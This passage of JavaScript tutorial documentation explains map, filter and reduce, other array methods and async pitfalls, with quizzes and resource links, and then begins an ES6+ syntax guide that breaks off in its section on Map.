```javascript const users = [ { name: 'Alice', active: true }, { name: 'Bob', active: false }, { name: 'Charlie', active: true } ] // ❌ HARD TO READ: Everything crammed into reduce const result = users.reduce((acc, user) => { if (user.active) { acc.push(user.name.toUpperCase()) } return acc }, []) // ✓ CLEARER: Use filter + map const result2 = users .filter(u => u.active) .map(u => u.name.toUpperCase()) console.log(result2) // ['ALICE', 'CHARLIE'] ``` --- ## Other Useful Array Methods JavaScript has many more array methods beyond map, filter, and reduce. Here's a quick reference: | Method | Returns | Description | |--------|---------|-------------| | `find(fn)` | Element or undefined | First element that passes test | | `findIndex(fn)` | Number | Index of first match (-1 if none) | | `some(fn)` | Boolean | True if any element passes test | | `every(fn)` | Boolean | True if all elements pass test | | `includes(value)` | Boolean | True if value is in array | | `indexOf(value)` | Number | Index of value (-1 if not found) | | `flat(depth)` | Array | Flattens nested arrays | | `flatMap(fn)` | Array | map() then flat(1) | | `forEach(fn)` | undefined | Executes function for side effects | | `reduceRight(fn, init)` | Any | Like reduce(), but right-to-left | | `sort(fn)` | Array | Sorts in place (mutates!) | | `toSorted(fn)` | Array | Returns sorted copy (no mutation) — ES2023 | | `reverse()` | Array | Reverses in place (mutates!) | | `toReversed()` | Array | Returns reversed copy (no mutation) — ES2023 | | `slice(start, end)` | Array | Returns portion (no mutation) | | `splice(start, count)` | Array | Removes/adds elements (mutates!) | | `toSpliced(start, count)` | Array | Returns modified copy (no mutation) — ES2023 | ### Quick Examples ```javascript const numbers = [1, 2, 3, 4, 5] // find: Get first even number numbers.find(n => n % 2 === 0) // 2 // findIndex: Get index of first even numbers.findIndex(n => n % 2 === 0) // 1 // some: Is there any number > 4? numbers.some(n => n > 4) // true // every: Are all numbers positive? numbers.every(n => n > 0) // true // includes: Is 3 in the array? numbers.includes(3) // true // flat: Flatten nested arrays [[1, 2], [3, 4]].flat() // [1, 2, 3, 4] // flatMap: Map and flatten [1, 2].flatMap(n => [n, n * 2]) // [1, 2, 2, 4] // reduceRight: Reduce from right to left ['a', 'b', 'c'].reduceRight((acc, s) => acc + s, '') // 'cba' // toSorted: Non-mutating sort (ES2023) const nums = [3, 1, 2] const sorted = nums.toSorted() // [1, 2, 3] console.log(nums) // [3, 1, 2] — original unchanged! // toReversed: Non-mutating reverse (ES2023) const reversed = nums.toReversed() // [2, 1, 3] ``` ### Which Method Should I Use? ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ CHOOSING THE RIGHT METHOD │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WHAT DO YOU NEED? USE THIS │ │ ───────────────── ──────── │ │ │ │ Transform every element → map() │ │ Keep some elements → filter() │ │ Combine into single value → reduce() │ │ Find first matching element → find() │ │ Check if any element matches → some() │ │ Check if all elements match → every() │ │ Check if value exists → includes() │ │ Get index of element → findIndex() or indexOf() │ │ Just do something with each → forEach() │ │ Flatten nested arrays → flat() or flatMap() │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Async Callbacks: The Hidden Gotcha One thing that catches developers off guard: `map()`, `filter()`, and `reduce()` don't wait for async callbacks. They run synchronously, which means you'll get an array of Promises instead of resolved values. ```javascript const userIds = [1, 2, 3] // ❌ WRONG: Returns array of Promises, not users const users = userIds.map(async (id) => { const response = await fetch(`/api/users/${id}`) return response.json() }) console.log(users) // [Promise, Promise, Promise] ``` ### The Solution: Promise.all() Wrap the map result in `Promise.all()` to wait for all Promises to resolve: ```javascript const userIds = [1, 2, 3] // ✓ CORRECT: Wait for all Promises to resolve const users = await Promise.all( userIds.map(async (id) => { const response = await fetch(`/api/users/${id}`) return response.json() }) ) console.log(users) // [{...}, {...}, {...}] — actual user objects ``` ### Async Filter is Trickier For filter, you need a two-step approach since filter expects a boolean, not a Promise: ```javascript const numbers = [1, 2, 3, 4, 5] // Check if a number is "valid" via async operation async function isValid(n) { // Imagine this calls an API return n % 2 === 0 } // ❌ WRONG: filter doesn't await const evens = numbers.filter(async (n) => await isValid(n)) console.log(evens) // [1, 2, 3, 4, 5] — all items! (Promises are truthy) // ✓ CORRECT: Map to booleans first, then filter const checks = await Promise.all(numbers.map(n => isValid(n))) const evens2 = numbers.filter((_, index) => checks[index]) console.log(evens2) // [2, 4] ``` <Tip> **For sequential async operations** (when order matters or you need to limit concurrency), use a `for...of` loop instead of map. Array methods run all callbacks immediately in parallel. </Tip> --- ## Key Takeaways <Info> **The key things to remember:** 1. **map() transforms every element** — Input array length equals output array length. Use it to change each item in the same way. 2. **filter() keeps matching elements** — Returns 0 to all elements. Use it to remove items that don't pass a test. 3. **reduce() combines into one value** — Can return any type: number, string, object, array. The "Swiss Army knife" of array methods. 4. **None of these mutate the original array** — They always return something new. This makes your code predictable. 5. **Always provide reduce()'s initial value** — Empty arrays without an initial value crash. Don't risk it. 6. **Chain methods for powerful pipelines** — filter → map → reduce is a common pattern for data processing. 7. **map() must return something** — Forgetting the return statement gives you an array of undefined. 8. **Don't use map() for side effects** — Use forEach() if you just want to do something with each element. 9. **Use find() for single item lookup** — It's more efficient than filter()[0] because it stops at the first match. 10. **Async callbacks need Promise.all()** — map/filter/reduce don't wait for async callbacks. Wrap in Promise.all() to resolve them. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What does map() return if the callback doesn't return anything?"> **Answer:** An array of `undefined` values. In JavaScript, functions without an explicit return statement return `undefined`. ```javascript const numbers = [1, 2, 3] // Missing return const result = numbers.map(n => { n * 2 // No return! }) console.log(result) // [undefined, undefined, undefined] ``` Always remember to return a value from your map callback, or use implicit return (arrow function without curly braces). </Accordion> <Accordion title="Question 2: What's the difference between filter() and find()?"> **Answer:** - **filter()** returns an **array** of all matching elements (could be empty) - **find()** returns the **first matching element** (or undefined if none) ```javascript const numbers = [1, 2, 3, 4, 5, 6] numbers.filter(n => n % 2 === 0) // [2, 4, 6] — All matches numbers.find(n => n % 2 === 0) // 2 — First match only ``` Use `find()` when you only need one result. It's more efficient because it stops searching after the first match. </Accordion> <Accordion title="Question 3: Why does reduce() crash on empty arrays without an initial value?"> **Answer:** Without an initial value, reduce uses the first element as the starting accumulator. If the array is empty, there's no first element, so JavaScript throws a TypeError. ```javascript // No initial value + empty array = crash [].reduce((acc, n) => acc + n) // TypeError: Reduce of empty array with no initial value // With initial value, empty array returns the initial value [].reduce((acc, n) => acc + n, 0) // 0 ``` Always provide an initial value to prevent crashes and make your intent clear. </Accordion> <Accordion title="Question 4: What's wrong with this code?"> ```javascript const doubled = numbers.map(n => { n * 2 }) ``` **Answer:** The curly braces `{}` create a function body, which requires an explicit `return` statement. Without it, the function returns `undefined`. ```javascript // ❌ Wrong (returns undefined) const doubled = numbers.map(n => { n * 2 }) // ✓ Correct (explicit return) const doubled = numbers.map(n => { return n * 2 }) // ✓ Correct (implicit return, no braces) const doubled = numbers.map(n => n * 2) ``` </Accordion> <Accordion title="Question 5: How would you get the total price of in-stock items?"> ```javascript const products = [ { name: 'Laptop', price: 1000, inStock: true }, { name: 'Phone', price: 500, inStock: false }, { name: 'Tablet', price: 300, inStock: true } ] ``` **Answer:** Chain filter → map → reduce: ```javascript const total = products .filter(p => p.inStock) // Keep only in-stock .map(p => p.price) // Extract prices .reduce((sum, p) => sum + p, 0) // Sum them console.log(total) // 1300 // Or combine map and reduce: const total2 = products .filter(p => p.inStock) .reduce((sum, p) => sum + p.price, 0) console.log(total2) // 1300 ``` </Accordion> <Accordion title="Question 6: What's the output of this code?"> ```javascript const result = [1, 2, 3, 4, 5] .filter(n => n % 2 === 0) .map(n => n * 3) .reduce((sum, n) => sum + n, 0) console.log(result) ``` **Answer:** **18** Let's trace through: 1. `filter(n => n % 2 === 0)` keeps even numbers: `[2, 4]` 2. `map(n => n * 3)` triples each: `[6, 12]` 3. `reduce((sum, n) => sum + n, 0)` sums them: `0 + 6 + 12 = 18` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between map() and forEach() in JavaScript?"> `map()` transforms each element and returns a new array. `forEach()` executes a function on each element but returns `undefined`. Use `map()` when you need the transformed result; use `forEach()` when you only need side effects like logging. As [MDN notes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach), `forEach()` always returns `undefined` and is not chainable. </Accordion> <Accordion title="Does map() mutate the original array?"> No. `map()`, `filter()`, and `reduce()` all return new values without modifying the original array. This non-mutating behavior makes them ideal for functional programming patterns. However, if your callback modifies objects within the array, those mutations will affect the originals since objects are passed by reference. </Accordion> <Accordion title="When should I use reduce() instead of a for loop?"> Use `reduce()` when you need to accumulate array elements into a single value — sums, counts, grouped objects, or flattened arrays. For simple aggregations, `reduce()` is more concise. For complex logic with multiple steps, a `for` loop can be more readable. The [MDN reduce documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) provides detailed examples for both simple and advanced use cases. </Accordion> <Accordion title="Can I chain map(), filter(), and reduce() together?"> Yes. Because `map()` and `filter()` return arrays, you can chain them: `arr.filter(...).map(...).reduce(...)`. Each method processes the result of the previous one. This chaining pattern creates readable data pipelines, though be mindful that each method creates an intermediate array. </Accordion> <Accordion title="What happens if I forget the initial value in reduce()?"> If the array has elements, `reduce()` uses the first element as the initial accumulator and starts iteration from the second element. If the array is empty, it throws a `TypeError`. The [ECMAScript specification](https://tc39.es/ecma262/#sec-array.prototype.reduce) requires this behavior. Always provide an initial value to avoid unexpected crashes. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> map, filter, and reduce are all higher-order functions that take callbacks </Card> <Card title="Pure Functions" icon="flask" href="/concepts/pure-functions"> Why these methods don't mutate and how immutability makes code predictable </Card> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> The callback pattern that powers these array methods </Card> <Card title="Recursion" icon="rotate" href="/concepts/recursion"> An alternative approach to processing arrays with function calls </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Array.prototype.map() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map"> Complete documentation for the map method </Card> <Card title="Array.prototype.filter() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter"> Complete documentation for the filter method </Card> <Card title="Array.prototype.reduce() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce"> Complete documentation for the reduce method </Card> <Card title="Array — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array"> Overview of all array methods in JavaScript </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Array Methods — javascript.info" icon="newspaper" href="https://javascript.info/array-methods"> Comprehensive reference covering all array methods with interactive examples. Includes a visual diagram for reduce and 13 practice tasks with solutions. </Card> <Card title="An Illustrated Guide to Map, Reduce, and Filter" icon="newspaper" href="https://css-tricks.com/an-illustrated-and-musical-guide-to-map-reduce-and-filter-array-methods/"> Hand-drawn illustrations make these concepts stick. Filter as a strainer, reduce as cooking sauce. Even includes a song to help you remember! </Card> <Card title="Map, Reduce, and Filter Explained with Examples" icon="newspaper" href="https://www.freecodecamp.org/news/javascript-map-reduce-and-filter-explained-with-examples/"> Concise, beginner-friendly introduction with clean code examples. Gets straight to practical usage without overwhelming theory. </Card> <Card title="Differences Between forEach and map" icon="newspaper" href="https://www.freecodecamp.org/news/4-main-differences-between-foreach-and-map/"> Explains the 4 key differences with side-by-side comparisons. Includes performance testing code you can run yourself. </Card> <Card title="Simplify Your JavaScript with map, reduce, filter" icon="newspaper" href="https://medium.com/poka-techblog/simplify-your-javascript-use-map-reduce-and-filter-bd02c593cc2d"> Star Wars themed examples make learning fun. Excellent section on method chaining and building elegant data pipelines. </Card> <Card title="How to Write Your Own map, filter, reduce" icon="newspaper" href="https://www.freecodecamp.org/news/how-to-write-your-own-map-filter-and-reduce-functions-in-javascript-ab1e35679d26/"> Build these methods from scratch to understand how they work internally. Great for interview prep and deepening your knowledge. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Higher-order Functions" icon="video" href="https://www.youtube.com/watch?v=BMUiFMZr7vk"> Fun Fun Function's legendary intro to functional programming. Mattias explains the mental model that makes map, filter, reduce click. </Card> <Card title="Reduce Basics" icon="video" href="https://www.youtube.com/watch?v=Wl98eZpkp-c"> The hardest method gets its own deep-dive. Clear accumulator examples that finally make reduce make sense. </Card> <Card title="Higher Order Functions & Arrays" icon="video" href="https://www.youtube.com/watch?v=rRgD1yVwIvE"> Traversy Media's complete crash course with live coding. Covers forEach, map, filter, reduce, sort, and find in one session. </Card> <Card title="8 Must Know JavaScript Array Methods" icon="video" href="https://www.youtube.com/watch?v=R8rmfD9Y5-c"> Web Dev Simplified covers the most useful methods in 12 focused minutes. Perfect for a quick refresher on when to use what. </Card> <Card title="Map, Filter & Reduce — Namaste JavaScript" icon="video" href="https://www.youtube.com/watch?v=zdp0zrpKzIE"> Akshay Saini's interview-prep deep-dive. Includes polyfill implementations and common interview questions about these methods. </Card> </CardGroup> ================================================ FILE: docs/concepts/modern-js-syntax.mdx ================================================ --- title: "Modern JS Syntax (ES6+)" sidebarTitle: "Modern JavaScript Syntax: ES6+ Features" description: "Learn ES6+ JavaScript syntax: destructuring, spread/rest, arrow functions, optional chaining, nullish coalescing, and template literals." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "ES6 syntax, destructuring, spread operator, arrow functions, optional chaining, template literals" --- Why does JavaScript code written in 2015 look so different from code written today? How do developers write such concise, readable code without all the boilerplate? ```javascript // The old way (pre-ES6) var city = user && user.address && user.address.city; // undefined if missing var copy = arr.slice(); var merged = Object.assign({}, obj1, obj2); // The modern way const city = user?.address?.city; // undefined if missing const copy = [...arr]; const merged = { ...obj1, ...obj2 }; ``` The answer is **ES6 (ECMAScript 2015)** and the yearly updates that followed. These additions didn't just add features. They transformed how we write JavaScript. Features like [destructuring](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment), [arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions), and [optional chaining](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) are now everywhere: in tutorials, open-source projects, and job interviews. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), features like destructuring and arrow functions have reached near-universal adoption, with over 95% of respondents using them regularly. <Info> **What you'll learn in this guide:** - Arrow functions and how they handle `this` differently - Destructuring objects and arrays to extract values cleanly - Spread operator (`...`) for copying and merging - Rest parameters for collecting function arguments - Template literals for string interpolation - Optional chaining (`?.`) to avoid "cannot read property of undefined" - Nullish coalescing (`??`) vs logical OR (`||`) - Logical assignment operators (`??=`, `||=`, `&&=`) - Default parameters for functions - Enhanced object literals (shorthand syntax) - Map, Set, and Symbol basics - The `for...of` loop for iterating values </Info> <Warning> **Prerequisite:** This guide touches on `let`, `const`, and `var` briefly. For a deep dive into how they differ (block scope, hoisting, temporal dead zone), read our [Scope and Closures](/concepts/scope-and-closures) guide first. </Warning> --- ## A Quick Note on let, const, and var Before ES6, `var` was the only way to declare variables. Now we have `let` and `const`, which were introduced in the [ECMAScript 2015 specification](https://tc39.es/ecma262/#sec-let-and-const-declarations) and behave differently: | Feature | `var` | `let` | `const` | |---------|-------|-------|---------| | Scope | Function | Block | Block | | Hoisting | Yes (undefined) | Yes (TDZ) | Yes (TDZ) | | Redeclaration | Allowed | Error | Error | | Reassignment | Allowed | Allowed | Error | ```javascript // var is function-scoped (can cause bugs) for (var i = 0; i < 3; i++) { setTimeout(() => console.log(i), 100); } // Output: 3, 3, 3 // let is block-scoped (each iteration gets its own i) for (let i = 0; i < 3; i++) { setTimeout(() => console.log(i), 100); } // Output: 0, 1, 2 ``` **The modern rule:** Use `const` by default. Use `let` when you need to reassign. Avoid `var`. For the full explanation of scope, hoisting, and the temporal dead zone, see [Scope and Closures](/concepts/scope-and-closures). --- ## Arrow Functions [Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) provide a shorter syntax for writing functions. But the real difference is how they handle `this`. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions), arrow functions do not have their own `this`, `arguments`, `super`, or `new.target` bindings — they inherit these from the enclosing lexical scope. ### The Syntax ```javascript // Traditional function function add(a, b) { return a + b; } // Arrow function variations const add = (a, b) => a + b; // Implicit return (single expression) const add = (a, b) => { return a + b; }; // Block body (explicit return needed) const square = x => x * x; // Single param: parentheses optional const greet = () => 'Hello!'; // No params: parentheses required ``` ### Arrow Functions and `this` Here's the big difference: arrow functions don't have their own `this`. They inherit `this` from the surrounding code (lexical scope). ```javascript // Problem with regular functions const counter = { count: 0, start: function() { setInterval(function() { this.count++; // 'this' is NOT the counter object! console.log(this.count); }, 1000); } }; counter.start(); // NaN, NaN, NaN... // Solution with arrow functions const counter = { count: 0, start: function() { setInterval(() => { this.count++; // 'this' IS the counter object console.log(this.count); }, 1000); } }; counter.start(); // 1, 2, 3... ``` For a complete exploration of `this` binding rules, see [this, call, apply and bind](/concepts/this-call-apply-bind). ### When NOT to Use Arrow Functions Arrow functions aren't always the right choice: ```javascript // ❌ DON'T use as object methods const user = { name: 'Alice', greet: () => { console.log(`Hi, I'm ${this.name}`); // 'this' is NOT user! } }; user.greet(); // "Hi, I'm undefined" // ✓ USE regular function for methods const user = { name: 'Alice', greet() { console.log(`Hi, I'm ${this.name}`); } }; user.greet(); // "Hi, I'm Alice" // ❌ DON'T use as constructors const Person = (name) => { this.name = name; }; new Person('Alice'); // TypeError: Person is not a constructor // ❌ Arrow functions don't have their own 'arguments' const logArgs = () => console.log(arguments); // ReferenceError (use ...rest instead) ``` ### The Object Literal Trap Returning an object literal requires parentheses: ```javascript // ❌ WRONG - curly braces are interpreted as function body const createUser = name => { name: name }; console.log(createUser('Alice')); // undefined (it's a labeled statement!) // ❌ ALSO WRONG - adding more properties causes a SyntaxError // const createUser = name => { name: name, active: true }; // SyntaxError! // ✓ CORRECT - wrap object literal in parentheses const createUser = name => ({ name: name, active: true }); console.log(createUser('Alice')); // { name: 'Alice', active: true } ``` --- ## Destructuring Assignment [Destructuring](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) lets you unpack values from arrays or properties from objects into distinct variables. ### Array Destructuring ```javascript const colors = ['red', 'green', 'blue']; // Basic destructuring const [first, second, third] = colors; console.log(first); // "red" console.log(second); // "green" // Skip elements with empty slots const [primary, , tertiary] = colors; console.log(tertiary); // "blue" // Default values const [a, b, c, d = 'yellow'] = colors; console.log(d); // "yellow" // Rest pattern (collect remaining elements) const [head, ...tail] = colors; console.log(head); // "red" console.log(tail); // ["green", "blue"] ``` **Swap variables without a temp:** ```javascript let x = 1; let y = 2; [x, y] = [y, x]; console.log(x); // 2 console.log(y); // 1 ``` ### Object Destructuring ```javascript const user = { name: 'Alice', age: 25, address: { city: 'Portland', country: 'USA' } }; // Basic destructuring const { name, age } = user; console.log(name); // "Alice" // Rename variables const { name: userName, age: userAge } = user; console.log(userName); // "Alice" // Default values const { name, role = 'guest' } = user; console.log(role); // "guest" // Nested destructuring const { address: { city } } = user; console.log(city); // "Portland" // Rest pattern const { name, ...rest } = user; console.log(rest); // { age: 25, address: { city: 'Portland', country: 'USA' } } ``` ### Destructuring in Function Parameters This pattern is everywhere in modern JavaScript: ```javascript // Without destructuring function createUser(options) { const name = options.name; const age = options.age || 18; const role = options.role || 'user'; return { name, age, role }; } // With destructuring function createUser({ name, age = 18, role = 'user' }) { return { name, age, role }; } // With default for the entire parameter (prevents error if called with no args) function greet({ name = 'Guest' } = {}) { return `Hello, ${name}!`; } greet(); // "Hello, Guest!" greet({ name: 'Alice' }); // "Hello, Alice!" ``` ### Common Mistake: Destructuring to Existing Variables ```javascript let name, age; // ❌ WRONG - JavaScript thinks {} is a code block { name, age } = user; // SyntaxError // ✓ CORRECT - wrap in parentheses ({ name, age } = user); ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DESTRUCTURING VISUALIZED │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ARRAY DESTRUCTURING OBJECT DESTRUCTURING │ │ ─────────────────── ──────────────────── │ │ │ │ const [a, b, c] = [1, 2, 3] const {x, y} = {x: 10, y: 20} │ │ │ │ [1, 2, 3] { x: 10, y: 20 } │ │ │ │ │ │ │ │ │ │ │ └──► c = 3 │ └──► y = 20 │ │ │ └─────► b = 2 └──────────► x = 10 │ │ └────────► a = 1 │ │ │ │ Position matters! Property name matters! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Spread and Rest Operators The `...` syntax does two different things depending on context: | Context | Name | What It Does | |---------|------|--------------| | Function call, array/object literal | **Spread** | Expands an iterable into individual elements | | Function parameter, destructuring | **Rest** | Collects multiple elements into an array | ### Spread Operator **Spreading arrays:** ```javascript const arr1 = [1, 2, 3]; const arr2 = [4, 5, 6]; // Combine arrays const combined = [...arr1, ...arr2]; console.log(combined); // [1, 2, 3, 4, 5, 6] // Copy an array const copy = [...arr1]; console.log(copy); // [1, 2, 3] // Insert elements const withMiddle = [0, ...arr1, 4]; console.log(withMiddle); // [0, 1, 2, 3, 4] // Pass array as function arguments console.log(Math.max(...arr1)); // 3 ``` **Spreading objects:** ```javascript const defaults = { theme: 'light', fontSize: 14 }; const userPrefs = { theme: 'dark' }; // Merge objects (later properties override earlier) const settings = { ...defaults, ...userPrefs }; console.log(settings); // { theme: 'dark', fontSize: 14 } // Copy and update const updated = { ...user, name: 'Bob' }; // Copy an object (shallow!) const copy = { ...original }; ``` ### Rest Parameters ```javascript // Collect all arguments into an array function sum(...numbers) { return numbers.reduce((total, n) => total + n, 0); } console.log(sum(1, 2, 3, 4)); // 10 // Collect remaining arguments function logFirst(first, ...rest) { console.log('First:', first); console.log('Rest:', rest); } logFirst('a', 'b', 'c', 'd'); // First: a // Rest: ['b', 'c', 'd'] ``` **Rest in destructuring:** ```javascript // Arrays const [first, second, ...others] = [1, 2, 3, 4, 5]; console.log(others); // [3, 4, 5] // Objects const { id, ...otherProps } = { id: 1, name: 'Alice', age: 25 }; console.log(otherProps); // { name: 'Alice', age: 25 } ``` ### The Shallow Copy Trap Spread creates **shallow copies**. Nested objects are still referenced: ```javascript const original = { name: 'Alice', address: { city: 'Portland' } }; const copy = { ...original }; // Modifying nested object affects both! copy.address.city = 'Seattle'; console.log(original.address.city); // "Seattle" — oops! // For deep copies, use structuredClone (modern) or JSON (with limitations) const deepCopy = structuredClone(original); ``` --- ## Template Literals [Template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) use backticks (`` ` ``) instead of quotes and support string interpolation and multi-line strings. ### Basic Interpolation ```javascript const name = 'Alice'; const age = 25; // Old way const message = 'Hello, ' + name + '! You are ' + age + ' years old.'; // Template literal const message = `Hello, ${name}! You are ${age} years old.`; // Expressions work too const price = 19.99; const tax = 0.1; const total = `Total: $${(price * (1 + tax)).toFixed(2)}`; console.log(total); // "Total: $21.99" ``` ### Multi-line Strings ```javascript // Old way (awkward) const html = '<div>\n' + ' <h1>Title</h1>\n' + ' <p>Content</p>\n' + '</div>'; // Template literal (natural) const html = ` <div> <h1>${title}</h1> <p>${content}</p> </div> `; ``` ### Tagged Templates Tagged templates let you process template literals with a function: ```javascript function highlight(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] ? `<mark>${values[i]}</mark>` : ''; return result + str + value; }, ''); } const query = 'JavaScript'; const count = 42; const result = highlight`Found ${count} results for ${query}`; console.log(result); // "Found <mark>42</mark> results for <mark>JavaScript</mark>" ``` Tagged templates power libraries like [styled-components](https://styled-components.com/) (CSS-in-JS) and [GraphQL](https://graphql.org/) query builders. --- ## Optional Chaining (`?.`) [Optional chaining](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) lets you safely access nested properties without checking each level for null or undefined. ### The Problem It Solves ```javascript const user = { name: 'Alice', // address is undefined }; // Old way (verbose and error-prone) const city = user && user.address && user.address.city; // Old way (slightly better) const city = user.address ? user.address.city : undefined; // Modern way const city = user?.address?.city; // undefined (no error!) ``` ### Three Syntax Forms ```javascript // Property access const city = user?.address?.city; // Bracket notation (for dynamic keys) const prop = 'address'; const value = user?.[prop]?.city; // Function calls (only call if function exists) const result = user?.getName?.(); ``` ### Short-Circuit Behavior When the left side is `null` or `undefined`, evaluation stops immediately and returns `undefined`: ```javascript const user = null; // Without optional chaining user.address.city; // TypeError: Cannot read property 'address' of null // With optional chaining user?.address?.city; // undefined (evaluation stops at user) ``` ### Don't Overuse It ```javascript // ❌ BAD - if user should always exist, you're hiding bugs function processUser(user) { return user?.name?.toUpperCase(); // Silently returns undefined } // ✓ GOOD - fail fast when data is invalid function processUser(user) { if (!user) throw new Error('User is required'); return user.name.toUpperCase(); } // ✓ GOOD - use when null/undefined is a valid possibility const displayName = apiResponse?.data?.user?.displayName ?? 'Anonymous'; ``` --- ## Nullish Coalescing (`??`) The [nullish coalescing operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) returns the right-hand side when the left-hand side is `null` or `undefined`. This is different from `||`, which returns the right-hand side for any falsy value. ### `??` vs `||` | Value | `value \|\| 'default'` | `value ?? 'default'` | |-------|----------------------|---------------------| | `null` | `'default'` | `'default'` | | `undefined` | `'default'` | `'default'` | | `0` | `'default'` | `0` | | `''` | `'default'` | `''` | | `false` | `'default'` | `false` | | `NaN` | `'default'` | `NaN` | ```javascript // Problem with || const count = response.count || 10; // If response.count is 0, this incorrectly returns 10! // Solution with ?? const count = response.count ?? 10; // Only returns 10 if count is null or undefined // Returns 0 if count is 0 (which is what we want) // Common use cases const port = process.env.PORT ?? 3000; const username = inputValue ?? 'guest'; const timeout = options.timeout ?? 5000; ``` ### Combining with Optional Chaining These two operators work great together: ```javascript const city = user?.address?.city ?? 'Unknown'; const count = response?.data?.items?.length ?? 0; ``` ### Logical Assignment Operators ES2021 added assignment versions of logical operators: ```javascript // Nullish coalescing assignment user.name ??= 'Anonymous'; // Only assigns if user.name is null or undefined // (short-circuits: skips assignment if value already exists) // Logical OR assignment options.debug ||= false; // Only assigns if options.debug is falsy // Logical AND assignment user.lastLogin &&= new Date(); // Only assigns if user.lastLogin is truthy ``` ```javascript // Practical example: initializing config function configure(options = {}) { options.retries ??= 3; options.timeout ??= 5000; options.cache ??= true; return options; } configure({}); // { retries: 3, timeout: 5000, cache: true } configure({ retries: 0 }); // { retries: 0, timeout: 5000, cache: true } configure({ timeout: null }); // { retries: 3, timeout: 5000, cache: true } ``` --- ## Default Parameters [Default parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters) let you specify fallback values for function arguments. ```javascript // Old way function greet(name, greeting) { name = name || 'Guest'; greeting = greeting || 'Hello'; return `${greeting}, ${name}!`; } // Modern way function greet(name = 'Guest', greeting = 'Hello') { return `${greeting}, ${name}!`; } greet(); // "Hello, Guest!" greet('Alice'); // "Hello, Alice!" greet('Alice', 'Hi'); // "Hi, Alice!" ``` ### Only `undefined` Triggers Defaults ```javascript function example(value = 'default') { return value; } example(undefined); // "default" example(null); // null (NOT "default"!) example(0); // 0 example(''); // '' example(false); // false ``` ### Defaults Can Reference Earlier Parameters ```javascript function createRect(width, height = width) { return { width, height }; } createRect(10); // { width: 10, height: 10 } createRect(10, 20); // { width: 10, height: 20 } ``` ### Defaults Can Be Expressions ```javascript function createId(prefix = 'id', timestamp = Date.now()) { return `${prefix}_${timestamp}`; } // Date.now() is called each time (not once at definition) createId(); // "id_1704067200000" createId(); // "id_1704067200001" (different!) ``` --- ## Enhanced Object Literals ES6 added several shortcuts for creating objects. ### Property Shorthand When the property name matches the variable name: ```javascript const name = 'Alice'; const age = 25; // Old way const user = { name: name, age: age }; // Shorthand const user = { name, age }; console.log(user); // { name: 'Alice', age: 25 } ``` ### Method Shorthand ```javascript // Old way const calculator = { add: function(a, b) { return a + b; } }; // Shorthand const calculator = { add(a, b) { return a + b; }, // Works with async too async fetchData(url) { const response = await fetch(url); return response.json(); } }; ``` ### Computed Property Names Use expressions as property names: ```javascript const key = 'dynamicKey'; const index = 0; const obj = { [key]: 'value', [`item_${index}`]: 'first item', ['get' + 'Name']() { return this.name; } }; console.log(obj.dynamicKey); // "value" console.log(obj.item_0); // "first item" ``` **Practical example:** ```javascript function createState(key, value) { return { [key]: value, [`set${key.charAt(0).toUpperCase() + key.slice(1)}`](newValue) { this[key] = newValue; } }; } const state = createState('count', 0); console.log(state); // { count: 0, setCount: [Function] } state.setCount(5); console.log(state.count); // 5 ``` --- ## Map, Set, and Symbol ES6 introduced new built-in data structures and a new primitive type. ### Map [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) is a collection of key-value pairs where keys can be any type (not just strings). ```javascript const map = new Map(); // Any value can be a key const objKey = { id: 1 }; map.set('string', 'value1'); map.set(42, 'value2'); map.set(objKey, 'value3'); console.log(map.get(objKey)); // "value3" console.log(map.size); // 3 console.log(map.has('string')); // true // Iteration (maintains insertion order) for (const [key, value] of map) { console.log(key, value); } // Convert to/from arrays const arr = [...map]; // [['string', 'value1'], [42, 'value2'], ...] const map2 = new Map([['a', 1], ['b', 2]]); ``` **When to use Map vs Object:** | Use Case | Object | Map | |----------|--------|-----| | Keys are strings | ✓ | ✓ | | Keys are any type | ✗ | ✓ | | Need insertion order | ✓ (string keys) | ✓ | | Need size property | ✗ | ✓ | | Frequent add/remove | Slower | Faster | | JSON serialization | ✓ | ✗ | ### 